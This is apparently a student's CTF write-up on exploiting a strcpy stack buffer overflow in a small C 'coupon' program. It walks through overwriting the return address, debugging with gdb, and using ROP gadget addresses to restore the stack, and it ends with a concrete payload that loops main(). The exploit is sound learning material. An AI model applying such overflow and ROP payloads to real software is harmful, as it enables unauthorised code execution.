Last week, I saw a challenge of pwn. The source code has been provided, and what you are asked to do is to pwn the vulnerable program.
Here is the source code in C language. Your goal is to exploit the vulnerability and let the program print as many coupons as it can.
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <time.h> void coupon(char * arg) { char name[16]; char * stuff[4] = {"iPad 2", "HTC Thuderbolt", "iPhone 4", "Motorola Xoom"}; strcpy(name, arg); printf("Our loyal customer %s:\n", name); printf("Use this coupon to redeem your free %s!\n", stuff[rand()%4]); printf("Coupon number %d\n\n", rand()); } int main(int argc, char ** argv) { if (argc < 2) { printf("usage: %s your_name\n", argv[0]); return 0; } srand(time(0)); coupon(argv[1]); return 0; }
Goal: to print a lot of coupons!
• you can only launch the target once, of course
• Think about how to manipulate address to cause this to go into a loop, without adding a loop.
Try
When I was glancing the challenge at the first beginning, I thought it could not be difficult. After all, I major in Information Security and have some basic knowledge about application security, though my focus is on web security. My init idea is like this.
- when the function
main()
calls the functioncoupon()
, the arguments forcoupon()
will be pushed into the stack in the order from right to left. Here,argv[1]
is the only argument whose address will be pushed. - program will push the return address, and then call the function
coupon()
and jump into this function. When the instructions are executed, the final instructionret
will lead the program to jumping to the address in the stack top. This address is the return address pushed in the step 1. - with the existence of the function
strcpy()
inside thecoupon()
, we can input a long enough string as theargv[1]
to overwrite the return address of the functioncoupon()
. - to loop the printing of coupons, we can overwrite the return address as the return address of the function
coupon()
ormain()
.
Problem
I thought my thought was absolutely correct. However, with this method, the program was only able to print two coupons and exit with an exception.
By debugging step by step with gdb, I located the problem. Actually, overwrite the return address is not enough. Another thing we need to do is to recover the content in the registers and stack to avoid exceptions of reading invalid data.
To be specific, here are two screenshots taken at the same breakpoint at different time. The first one was taken at the first time the program met the breakpoint, while the second one was taken after the program was redirected by the overwritten return address.
Obviously, different register value and stack value will lead to a crash.
Solution
Then I tried to solve this problem.
After comparing data in the stack and register in two stages, I came up with my solution — use ROP to pop useless data and recover the stack shown as screenshot 2 to screenshot 1. Here I used ropgadget
in gdb-peda.
gdb-peda$ ropgadget ret = 0x804832e popret = 0x8048345 pop3ret = 0x8048629 pop2ret = 0x804862a pop4ret = 0x8048628 addesp_12 = 0x8048342 addesp_16 = 0x8048435
Finally, I got the payload.
r $'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x28\x86\x04\x08AAAABBBBAAAAAAAA\x28\x86\x04\x08AAAAAAAAAAAAAAAA\x2e\x83\x04\x08\x59\x85\x04\x08'
With pop4ret
twice and popret
one time, the stack was recovered. Then overwrite the return address as the beginning address of the function main()
and we can run the program in an infinite loop.
PS: the reason why so many coupons are the same is that the seed of the random function is time. You will get the same coupons in the same second..